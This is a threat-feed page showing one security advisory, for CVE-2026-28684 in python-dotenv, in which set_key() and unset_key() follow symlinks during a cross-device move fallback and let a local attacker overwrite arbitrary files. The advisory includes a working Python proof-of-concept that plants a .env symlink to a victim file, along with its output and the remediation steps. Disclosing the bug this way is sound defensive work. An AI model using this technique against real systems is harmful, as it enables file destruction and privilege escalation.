Threats tagged 'brew-pdm-cve-2026-28684'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.6 | EPSS 0.3% | CVE-2026-28684Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-rhel9 container image Medium6.6EPSS 0.3%GCVE DatabaseCVE-2026-28684 ### Summary `set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered. ### Details The `rewrite()` context manager in `dotenv/main.py` is used by both `set_key()` and `unset_key()` to safely modify `.env` files. It works by writing to a temporary file (created in the system's default temp directory, typically `/tmp`) and then using `shutil.move()` to replace the original file. When the `.env` path is a symbolic link and the temp directory resides on a different filesystem than the target (a common configuration on Linux systems using tmpfs for `/tmp`), the following sequence occurs: 1. `shutil.move()` first attempts `os.rename()`, which fails with an `OSError` because atomic renames cannot cross device boundaries. 2. On failure, `shutil.move()` falls back to `shutil.copy2()` followed by `os.unlink()`. 3. `shutil.copy2()` calls `shutil.copyfile()` with `follow_symlinks=True` by default. 4. This causes the content to be written to the **symlink target** rather than replacing the symlink itself. An attacker who has write access to the directory containing a `.env` file can pre-place a symlink pointing to any file that the application process has write access to. When the application (or a privileged process such as a deploy script, Docker entrypoint, or CI pipeline) calls `set_key()` or `unset_key()`, the symlink target is overwritten with the new `.env` content. This vulnerability does not require a race condition and is fully deterministic once the preconditions are met. ### Impact The primary impacts are to **integrity** and **availability**: - **File overwrite / destruction (DoS):** An attacker can cause an application or privileged process to corrupt or destroy configuration files, database configs, or other sensitive files it would not normally have access to modify. - **Integrity violation:** The target file's original content is replaced with `.env`-formatted content controlled by the attacker. - **Potential privilege escalation:** In scenarios where a privileged process (running as root or a service account) calls `set_key()`, the attacker can leverage this to write to files beyond their own access level. The scope of impact depends on the application using python-dotenv and the privileges under which it runs. ### Proof of Concept The following script demonstrates the vulnerability. It requires `/tmp` and the user's home directory to reside on different devices (common on systemd-based Linux systems with tmpfs). ```python import os import sys import tempfile from dotenv import set_key # Pre-condition: /tmp must be on a different device than the target directory. tmp_dev = os.stat("/tmp").st_dev home_dev = os.stat(os.path.expanduser("~")).st_dev assert tmp_dev != home_dev, "Skipped: /tmp and ~ are on the same device (no cross-device move)" with tempfile.TemporaryDirectory(dir=os.path.expanduser("~")) as workdir: # File an attacker wants to overwrite target = os.path.join(workdir, "victim_config.txt") with open(target, "w") as f: f.write("DB_PASSWORD=supersecret\n") # Attacker pre-places a symlink at the path the application will use as .env env_symlink = os.path.join(workdir, ".env") os.symlink(target, env_symlink) before = open(target).read() # Application writes a new key -- triggers the cross-device fallback set_key(env_symlink, "INJECTED", "attacker_value") after = open(target).read() print("Before:", repr(before)) print("After: ", repr(after)) print("Symlink target overwritten:", target) ``` **Expected output:** ``` Before: 'DB_PASSWORD=supersecret\n' After: "DB_PASSWORD=supersecret\nINJECTED='attacker_value'\n" Symlink target overwritten: /home/user/tmp806nut2g/victim_config.txt ``` ### Remediation The fix changes the `rewrite()` context manager in the following ways: 1. **Symlinks are no longer followed by default.** When the `.env` path is a symlink, `rewrite()` now resolves it to the real path before proceeding, or (by default) operates on the symlink entry itself rather than the target. 2. **A `follow_symlinks: bool = False` parameter** is added to `set_key()` and `unset_key()` for users who explicitly need the old behavior. 3. **Temp files are written in the same directory** as the target `.env` file (instead of the system temp directory), eliminating the cross-device rename condition entirely. 4. **`os.replace()` is used instead of `shutil.move()`**, providing atomic replacement without symlink-following fallback behavior. Users are advised to upgrade to the patched version as soon as it is available on PyPI. ### Timeline | Date | Event | | ------------ | --------------- | GCVE Database |
Page 1 of 1